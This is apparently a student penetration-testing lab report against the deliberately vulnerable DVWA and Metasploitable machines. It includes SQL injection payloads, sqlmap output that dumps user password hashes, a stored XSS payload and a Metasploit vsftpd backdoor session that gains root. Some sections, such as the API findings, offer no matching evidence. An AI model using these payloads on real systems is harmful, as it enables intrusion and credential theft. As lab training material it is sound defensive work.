



Full Web Application & Network Exploitation on DVWA and Metasploitable (VAPT) Report week -3

1. Executive Summary

This assessment involved performing a full Vulnerability Assessment and Penetration Testing (VAPT) exercise against a deliberately vulnerable lab environment consisting of DVWA and Metasploitable. The objective was to identify, exploit, and document security weaknesses across web application and network layers. Multiple high-impact vulnerabilities were discovered, including SQL Injection, Stored Cross-Site Scripting (XSS), weak authentication mechanisms, and remote code execution through vulnerable services. Successful exploitation resulted in unauthorized database access, credential disclosure, persistent client-side attacks, and full root-level system compromise. The findings demonstrate how insecure coding practices and outdated services can be chained together to achieve complete system compromise. Remediation steps are provided to mitigate identified risks and improve the overall security posture.



2. Scope & Environment

Target Systems:

- DVWA Web Application
- Metasploitable Virtual Machine

The screenshot shows a Firefox browser window with the address bar displaying "http://192.168.56.102/dvwa/index.php". The page title is "Damn Vulnerable Web App". The left sidebar contains a navigation menu with the following items: Home (highlighted in green), Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area features a "Welcome to Damn Vulnerable Web App!" heading. Below it, a paragraph explains that DVWA is a PHP/MySQL web application designed for security professionals to test their skills in a legal environment. It also serves as a teaching tool for web application security. A "WARNING!" section cautions against uploading DVWA to a public server or live web servers. A "Disclaimer" section states that the responsibility for misuse lies with the user, not the application. A "General Instructions" section provides help for each vulnerability and security level. A message box at the bottom left says "You have logged in as 'admin'". At the bottom right, it says "Damn Vulnerable Web Application (DVWA) v1.0.7". The status bar at the bottom shows various icons and the text "Right Ctrl".

**Attacker System:**

- Kali Linux

Tools Used:

- Burp Suite
- sqlmap
- Metasploit Framework
- Wireshark
- Firefox Developer Tools

```
msf > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      inet 192.168.56.101 netmask 255.255.255.0 broadcast 192.168.56.255
      inet6 fe80::9ae1:645b:e805:e209 prefixlen 64 scopeid 0x20<link>
        ether 08:00:27:d1:f8:5d txqueuelen 1000 (Ethernet)
          RX packets 4 bytes 1830 (1.7 KiB)
          RX errors 0 dropped 0 overruns 0 frame 0
          TX packets 25 bytes 3730 (3.6 KiB)
          TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
      inet 127.0.0.1 netmask 255.0.0.0
      inet6 ::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1000 (Local Loopback)
          RX packets 51 bytes 3612 (3.5 KiB)
          RX errors 0 dropped 0 overruns 0 frame 0
          TX packets 51 bytes 3612 (3.5 KiB)
          TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

msf > exit

[(kali㉿kali)-[~]]$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d1:f8:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.101/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
        valid_lft 450sec preferred_lft 450sec
    inet6 fe80::9ae1:645b:e805:e209/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

3. Exploit Chain (Chained Attack Explanation)

The attack began with identifying a Stored Cross-Site Scripting (XSS) vulnerability in DVWA, which allowed persistent JavaScript execution in the victim's browser. This vulnerability could be leveraged to steal session cookies of authenticated users. Using a valid session, SQL Injection vulnerabilities were exploited to enumerate database tables and extract sensitive user credentials. Extracted credentials and weak service configurations enabled further exploitation of backend services. Finally, outdated network services such as VSFTPD and Samba were exploited using Metasploit, resulting in remote code execution and root-level access. This demonstrates how low-severity web vulnerabilities can be chained into full system compromise.

The attack followed a **multi-stage exploit chain**, where individually moderate or low-severity vulnerabilities were combined to achieve **complete system compromise**. Each stage relied on the successful outcome of the previous one, demonstrating real-world attacker behavior rather than isolated exploitation.

Stage 1: Stored Cross-Site Scripting (XSS) – Initial Foothold

The attack began with the identification of a **Stored XSS vulnerability** within DVWA. Unlike reflected XSS, this payload was permanently stored in the backend database and automatically executed whenever a victim accessed the affected page.

- Malicious JavaScript was injected into an input field (e.g., comments or messages).
- The script executed in the context of authenticated users, including administrators.
- The payload was designed to steal **session cookies** using document.cookie.
- Stolen cookies were exfiltrated to the attacker-controlled system.

Impact:

Persistent XSS allowed long-term access to authenticated sessions without needing credentials, effectively bypassing authentication controls.

Stage 2: Session Hijacking – Privilege Escalation

Using the stolen session cookie:

- The attacker impersonated a logged-in user.
- Higher-privileged areas of the application became accessible.
- Security mechanisms such as login forms and CAPTCHA were bypassed entirely.

Impact:

This transformed a client-side vulnerability into **server-side privilege escalation**, granting access equivalent to legitimate users.

Stage 3: SQL Injection – Data Exfiltration

With authenticated access, the attacker exploited **SQL Injection vulnerabilities** in DVWA modules.

- Injectable parameters were identified in URL/query fields.
- SQL payloads were used to:
 - Enumerate database names and tables
 - Dump user credential tables
 - Extract usernames, password hashes, and configuration data

Impact:

Sensitive backend data was compromised, exposing credentials that could be reused across services.

Stage 4: Credential Reuse & Weak Configuration Abuse

Extracted credentials and configuration details revealed:

- Weak or reused passwords
- Services running with default or insecure configurations
- Internal service exposure not intended for public access

These weaknesses allowed lateral movement from the web layer to backend services.

Impact:

The attack transitioned from **application-level compromise to system-level access.**

Stage 5: Exploitation of Outdated Network Services

The compromised environment exposed legacy services including **VSFTPD** and **Samba**, both running vulnerable versions.

- Known exploits were identified using service enumeration.
- Metasploit modules were used to exploit these services.
- Remote Code Execution (RCE) was achieved.
- Privilege escalation led to **root-level access**.

Impact:

Full system compromise was achieved, including control over the operating system.

Overall Security Implications

This exploit chain demonstrates how:

- A **low-severity Stored XSS** can act as an entry point.
- Weak session handling enables privilege escalation.
- SQL Injection enables deep data compromise.
- Poor patch management and outdated services allow complete takeover

4. Technical Findings

4.1 SQL Injection (Critical)

Description:

The application failed to properly sanitize user input in SQL queries, allowing attackers to manipulate backend database queries.

Evidence:

- Manual payload ' OR '1'='1 returned all user records
- sqlmap successfully enumerated tables and dumped user credentials

Impact:

- Unauthorized access to sensitive data
- Credential disclosure



Vulnerability: SQL Injection

User ID:

ID: ' OR '1'='1
First name: admin
Surname: admin

ID: ' OR '1'='1
First name: Gordon
Surname: Brown

ID: ' OR '1'='1
First name: Hack
Surname: Me

ID: ' OR '1'='1
First name: Pablo
Surname: Picasso

ID: ' OR '1'='1
First name: Bob
Surname: Smith



```
[*] (kali㉿kali)-[~/sqlmap]
$ sqlmap -u "http://192.168.71.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

{ 1.9.12#stable }

https://sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:35:57 /2026-01-01/

[02:35:58] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.71.128/dvwa/login.php'. Do you want to follow? [Y/n] Y
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7064aaa5b95...54aedb8456;security=high;security=high'). Do you want to use those [Y/n] Y
[02:35:58] [INFO] checking if the target is protected by some kind of WAF/IPS
[02:35:58] [INFO] testing if the target URL content is stable
[02:35:58] [WARNING] GET parameter 'id' does not appear to be dynamic
[02:35:59] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[02:35:59] [INFO] testing for SQL injection on GET parameter 'id'
[02:35:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:36:00] [INFO] testing Boolean-based blind - Parameter replace (original value)'
[02:36:00] [INFO] testing MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:36:00] [INFO] testing PostgreSQL AND error-based - WHERE or HAVING clause'
[02:36:01] [INFO] testing Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[02:36:01] [INFO] testing Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[02:36:02] [INFO] testing Generic inline queries
[02:36:02] [INFO] testing PostgreSQL > 8.1 stacked queries (comment)'
[02:36:02] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
[02:36:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[02:36:03] [INFO] testing Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[02:36:03] [INFO] testing MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)'
[02:36:04] [INFO] testing PostgreSQL > 8.1 AND time-based blind'
[02:36:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[02:36:05] [INFO] testing Oracle AND time-based blind
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[02:36:05] [INFO] testing Generic UNION query (NULL) - 1 to 10 columns'
[02:36:06] [WARNING] GET parameter 'id' does not seem to be injectable
[02:36:06] [WARNING] GET parameter 'Submit' does not appear to be dynamic
[02:36:06] [WARNING] heuristic (basic) test shows that GET parameter 'Submit' might not be injectable
[02:36:06] [INFO] testing for SQL injection on GET parameter 'Submit'
[02:36:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:36:07] [INFO] testing Boolean-based blind - Parameter replace (original value)'
[02:36:07] [INFO] testing MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:36:08] [INFO] testing PostgreSQL AND error-based - WHERE or HAVING clause'
[02:36:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[02:36:08] [INFO] testing Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[02:36:09] [INFO] testing Generic inline queries
[02:36:09] [INFO] testing PostgreSQL > 8.1 stacked queries (comment)'
[02:36:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[02:36:10] [INFO] testing Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[02:36:10] [INFO] testing MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)'
[02:36:11] [INFO] testing PostgreSQL > 8.1 AND time-based blind'
[02:36:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[02:36:12] [INFO] testing Oracle AND time-based blind'
[02:36:13] [INFO] testing Generic UNION query (NULL) - 1 to 10 columns'
[02:36:14] [WARNING] GET parameter 'Submit' does not seem to be injectable
[02:36:14] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 02:36:14 /2026-01-01/
```



```
(kali㉿kali)-[~]
$ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=8ae0420d271af6503793275c70b6ba0; security=low" -D dvwa --tables
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program
[*] starting @ 08:31:40 /2026-01-08/
[08:31:40] [INFO] resuming back-end DBMS 'mysql'
[08:31:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 3889=3889#&Submit=Submit

Type: error-based
Title: MySQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id='1 AND ROW(5349,1062)>(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT (ELT(5349=5349,1))),0x717a767171,FLOOR(RAND(0)*2))x FROM
(SELECT 1291 UNION SELECT 9801 UNION SELECT 3699 UNION SELECT 5322)a GROUP BY x)-- fyVN9&Submit=Submit

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: id='1 AND (SELECT 2268 FROM (SELECT(SLEEP(5)))GkJC)-- RJcn&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id='1' UNION ALL SELECT NULL,CONCAT(0x7162707671,0x5958504764434a4c6a414b4973547764795a4e424b545172534c4758506f446a6c584d51585a5
956,0x717a767171#&Submit=Submit

[08:31:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 4.1
[08:31:40] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users      |
+-----+
[08:31:40] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.102'
[*] ending @ 08:31:40 /2026-01-08/
```

```
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id='1' UNION ALL SELECT NULL,CONCAT(0x7162707671,0x5958504764434a4c6a414b4973547764795a4e424b545172534c4758506f446a6c584d51585a5956,
&Submit=Submit
[08:35:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL ≥ 4.1
[08:35:56] [INFO] fetching columns for table 'users' in database 'dvwa'
[08:35:57] [WARNING] reflective value(s) found and filtering out
[08:35:57] [INFO] fetching entries for table 'users' in database 'dvwa'
[08:35:57] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: dvwa
Table: users
[5 entries]
+-----+-----+-----+-----+-----+-----+-----+
| user_id | user   | avatar          | password          | last_name | first_name |
+-----+-----+-----+-----+-----+-----+
| 1       | admin  | http://172.16.123.129/dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 | admin     | admin      |
| 2       | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38df5f260853678922e03 | Brown    | Gordon    |
| 3       | 1337   | http://172.16.123.129/dvwa/hackable/users/1337.jpg   | 8d353d75ae2c3966d7e0d4fc69216b | Me       | Hack      |
| 4       | pablo   | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe4cadef3de5c71e9e9b7 | Picasso  | Pablo     |
| 5       | smithy  | http://172.16.123.129/dvwa/hackable/users/smithy.jpg | 5f4dc3b5aa765d61d8327deb882cf99 | Smith    | Bob       |
+-----+-----+-----+-----+-----+-----+
[08:37:27] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.56.102/dump/dvwa/users.csv'
[08:37:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.102'
[*] ending @ 08:37:27 /2026-01-08/
```



4.2 Stored Cross-Site Scripting (High)

Description:

User input was stored and rendered without proper output encoding, allowing persistent JavaScript execution.


Payload Used:

```
<script>alert('Stored XSS')</script>
```

Impact:

- Session hijacking
- Persistent client-side exploitation

The screenshot shows a Firefox browser window with the address bar pointing to `http://192.168.56.102/dvwa/vulnerabilities/xss_s/`. The DVWA logo is visible at the top. The main content area displays the 'Vulnerability: Stored Cross Site Scripting (XSS)' page. On the left, a sidebar menu lists various security vulnerabilities, with 'XSS stored' highlighted in green. The main form has 'Name *' set to 'test' and 'Message *' containing the payload `<script>alert('Stored XSS')</script>`. Below the form, two preview boxes show the output: one for 'Name: test' and 'Message: This is a test comment.' and another for 'Name: test' and 'Message:'. A 'Sign Guestbook' button is present. At the bottom, there's a 'More info' section with links to external resources: <http://ha.ckers.org/xss.html>, http://en.wikipedia.org/wiki/Cross-site_scripting, and <http://www.cgisecurity.com/xss-faq.html>.



The screenshot shows a Firefox browser window with the address bar showing "Not Secure http://192.168.56.102/dvwa/vulnerabilities/xss_s/". The main content area displays the DVWA logo and the title "Vulnerability: Stored Cross Site Scripting (XSS)". On the left, a sidebar menu lists various attack types: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, and XSS stored. The "XSS stored" option is highlighted. The main form has fields for "Name *" (containing "test") and "Message *" (containing "<script>alert('Stored XSS')</script>"). A "Sign Guestbook" button is present. Below the form, a modal dialog box is displayed with the message "Stored XSS" and the IP address "192.168.56.102". At the bottom, the user is logged in as "admin" with "Security Level: low".

4.3 API Authorization & Data Exposure Issues (High)

(Modern Web / API Layer)

4.3.1 Insecure Direct Object Reference (IDOR) via APIs

Description:

API endpoints exposed object identifiers without validating user authorization, allowing attackers to access or modify other users' data.

Evidence:

- Manipulation of object IDs in API requests returned unauthorized user data
- No ownership validation performed server-side

Impact:

- Unauthorized data access
- Horizontal privilege escalation

```

└─(kali㉿kali)-[~]
$ msfconsole

Metasploit tip: To save all commands executed since start up to a file, use the
makerc command

      _\_
     ((_) o o ( _ )_____
    / \_o_o \ \ M S F | \ \
   ||| _ w w ||| * |
   ||| _ _ _ ||| _ _ _ |

      =[ metasploit v6.4.101-dev
+ -- ---=[ 2,580 exploits - 1,319 auxiliary - 1,687 payloads      ]
+ -- ---=[ 434 post - 49 encoders - 13 nops - 9 evasion      ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.102:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling ...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:42579 → 192.168.56.102:6200) at 2026-01-08 07:48:09 -0500

whoami
root
█

```

4.3.2 Authentication & Authorization Bypass in APIs

Description:

Certain API endpoints failed to enforce authentication and authorization checks consistently.

Evidence:

- API endpoints responded with valid data despite missing or invalid authentication tokens
- Authorization enforced only at the client-side

Impact:

- Unauthorized access to protected resources
- Potential account takeover



4.3.3 Excessive Data Exposure via APIs

Description:

API responses returned more data than necessary for intended functionality.

Evidence:

- Full user objects returned instead of minimal required fields
- Exposure of internal IDs, email addresses, and role information

Impact:

- Sensitive information disclosure
- Increased attack surface for chained attacks

5. Exploit Log

Exploit ID	Vulnerability	Tool	Target IP	Result
001	SQL Injection	sqlmap	192.168.56.102	Success
002	Stored XSS	Manual	192.168.56.102	Success
003	VSFTPD Backdoor RCE	Metasploit	192.168.56.102	Root Access
004	Samba Usermap Script RCE	Metasploit	192.168.71.128	Root Access

6. Exploit Customization

During exploitation, sqlmap was customized by explicitly providing session cookies and increasing the detection depth to ensure reliable exploitation of authenticated SQL injection points. This customization allowed accurate database enumeration while maintaining session persistence, demonstrating how minor configuration changes can significantly improve exploitation success in real-world environments.



The screenshot shows a browser window for 'Damn Vulnerable Web App' at http://192.168.56.102/dvwa/vulnerabilities/sql_injection/. The main content area displays a table of user data with several rows highlighted in red, indicating successful SQL注入 (SQL injection) results. The columns show 'User ID', 'First name', and 'Surname'. Below the table is a 'Submit' button. To the left, a sidebar lists various DVWA challenges: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (the current challenge), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, and About.

The bottom part of the screenshot shows the Wireshark interface. The 'Cookies' tab is selected, displaying a table of cookies for the domain <http://192.168.56.102>. One cookie, 'PHPSESSID', has its value set to a long alphanumeric string. Other tabs visible include Cache Storage, Indexed DB, Local Storage, and Session Storage.

7. Evidence Collection & Chain of Custody

7.1 Network Traffic Capture

Network traffic was captured during the exploitation phase using **Wireshark** on the attacker machine. The capture focused specifically on **HTTP traffic** to validate interaction between the attacker system and the DVWA web server at the network level.

A display filter (`http`) was applied to isolate relevant application-layer traffic. The captured packets clearly demonstrate a successful HTTP request–response exchange between the attacker and target systems during DVWA access.

Capture Details:

- Tool Used: Wireshark
- Interface: eth0
- Display Filter: http

- Attacker IP: 192.168.56.101
- Target IP: 192.168.56.102
- File Name: **http_vaptweek3.pcapng**

7.2 Observed Packets

The following packets were observed in the capture and confirm active communication during testing:

Source IP	Destination IP	Protocol	Information
192.168.56.101	192.168.56.102	HTTP	GET /dvwa/ HTTP/1.1
192.168.56.102	192.168.56.101	HTTP	HTTP/1.1 200 OK (text/html)

These packets confirm that the attacker system successfully accessed the DVWA application and received a valid server response, validating web application interaction during the VAPT exercise.

7.3 Evidence Integrity Verification


To ensure evidence integrity and maintain proper chain of custody, a cryptographic hash was generated for the captured network traffic file using the SHA-256 hashing algorithm.

Hash Command Used:

sha256sum http_vaptweek3.pcapng

Evidence Hash Record:

Evidence Item: Network Traffic Capture
File Name: http_vaptweek3.pcapng
Hash Algorithm: SHA-256
Hash Value: 313b04ce74fcba29f0bc550e7acd323f55e4b4668eb7372a0c0627a517c5e010



7.4 Evidence Log

Item ID	Evidence Type	Tool	Description	Integrity
E001	Network Capture	Wireshark	HTTP traffic during DVWA exploitation	
	SHA-256 Verified			

```
[kali㉿kali)-[~/task03]
$ sha256sum http_vaptweek3.pcapng
313b04ce74fcba29f0bc550e7acd323f55e4b4668eb7372a0c0627a517c5e010  http_vaptweek3.pcapng
```

7.5 Evidence Collection Summary

Network traffic was successfully captured during the exploitation phase using Wireshark. The observed HTTP packets confirm request-response communication between the attacker and DVWA server. Evidence integrity was preserved through SHA-256 hashing, ensuring authenticity and proper chain-of-custody in accordance with VAPT reporting standards.

8. Remediation Recommendations

- Use prepared statements and parameterized queries to prevent SQL Injection
- Implement proper input validation and output encoding to mitigate XSS
- Disable or upgrade outdated services such as VSFTPD and Samba
- Enforce strong authentication and secure session management
- Apply regular patching and vulnerability scanning
- Enable logging, monitoring, and intrusion detection systems

9. Non-Technical Summary

The assessment revealed serious security weaknesses that allow attackers to access sensitive data and take full control of systems. Simple vulnerabilities were chained together to compromise servers completely. These risks could lead to data breaches, downtime, and reputational damage. Immediate remediation and secure development practices are required to reduce exposure.

10. Conclusion

This VAPT exercise successfully demonstrated the complete attack lifecycle, from vulnerability discovery to exploitation and post-exploitation. Multiple critical vulnerabilities were identified and exploited, highlighting the importance of defense-in-depth and secure system design. Addressing the findings will significantly improve the security posture of the environment.